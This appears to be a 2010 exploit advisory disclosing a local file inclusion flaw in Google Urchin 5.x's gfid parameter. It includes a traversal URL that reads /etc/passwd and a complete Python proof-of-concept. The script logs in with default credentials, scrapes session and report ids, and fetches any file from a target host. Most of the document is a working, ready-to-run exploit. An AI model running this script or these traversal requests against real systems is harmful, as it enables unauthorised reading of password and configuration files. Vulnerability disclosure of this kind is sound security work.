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Summary: Google Urchin is vulnerable to a Local File Include (LFI) vulnerability that allows arbitrary reading of files.Confirmed in version 5.7.03 running on Linux.Issue may exist in other versions as well. Analysis: During normal usage, Google Urchin creates files on disk that are then embedded into report pages for visual data representation. Unfortunately, an LFI vulnerability is introduced because proper filtering is not performed.The included files live under $INSTALL_PATH and look something like this: data/cache/localhost/admin-1102-23087-1292412725. """ $ file ./data/cache/localhost/admin-1102-23087-1292412725 ./data/cache/localhost/admin-1102-22410-1292411043: XMLdocument text $ head ./data/cache/localhost/admin-1102-23087-1292412725 <?xml version="1.0" encoding="utf-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20001102//EN" "http://www.w3.org/TR/2000/CR-SVG-20001102/DTD/svg-20001102.dtd" [ <!ENTITY st1 "fill:none;stroke:#cccccc;stroke-width:0.25;stroke-miterlimit:4;"> ]> <!-- <?xml-stylesheet alternate="yes" href="https://www.exploit-db.com/exploits/15737/ucss/usvg.css" type="text/css"?> Copyright(c) 2003 Urchin Software Corporation. All rights reserved. The svg contained herein is the property of Urchin Software Corporation, San Diego, CA. It may not be used outside the Urchin ... """ A typical direct query to such a resource will look like this and is what becomes embedded in the page: http://127.0.0.1:9999/session.cgi?sid=3456434387-0000000003&app=urchin.cgi&action=prop&rid=13&n=10&vid=1102&dtc=0&cmd=svg&gfid=admin-1102-23087-1292412725&ie5=.svg By simply modifying the gfid parameter in the GET request, we can tell Urchin to read any file on the host instead, like so: http://127.0.0.1:9999/session.cgi?sid=3456434387-0000000003&app=urchin.cgi&action=prop&rid=13&n=10&vid=1102&dtc=0&cmd=svg&gfid=../../../../../../../../../../etc/passwd&ie5=.svg FIN -- Kristian Erik Hermansen PoC Code: #!/usr/bin/env python # Author: "Kristian Erik Hermansen" <kristian.hermansen@gmail.com> # Date: December 2010 # Google Urchin 5.x LFI in gfid parameter (0day) from sys import argv import httplib, urllib if len(argv) < 3: print 'usage: %s <host> <file> [port] [user] [pass]' % (argv[0]) exit(1) HOST = argv[1] FILE = argv[2] PORT = int(argv[3]) or 9999 USER = argv[4] or 'admin' PASS = argv[5] or 'urchin' conn = httplib.HTTPConnection('%s:%d' % (HOST,PORT)) conn.request('GET', '/') response = conn.getresponse() if str(response.status)[0] == '3': print '[-] Host probably uses SSL. Not supported.' exit(2) data = response.read() app = data.split('<input type="hidden" name="app" value="')[1].split('"')[0] params = urllib.urlencode({'user': USER, 'pass': PASS, 'app': app, 'action': 'login'}) conn.request('POST', '/session.cgi', params) response = conn.getresponse() data = response.read() if data.find('Authentication Failed.') == -1: print '[*] Authentication succeeded :)' else: print '[-] Authentication failed :(' exit(3) sid = data.split('?sid=')[1].split('&')[0] rid = data.split('<a href="javascript:openReport(')[1].split(',')[0] if app == 'admin.exe': pad = '..\\'*16 else: pad = '../'*16 conn.request('GET', '/session.cgi?sid=%s&action=prop&app=urchin.cgi&rid=%s&cmd=svg&gfid=%s%s&ie5=.svg' % (sid,rid,pad,FILE)) response = conn.getresponse() data = response.read() if data.find('SVG image not found. Possible causes are:') == -1: print data else: print '[-] Failed to retrive requested file. May not exist on host.' conn.close() |
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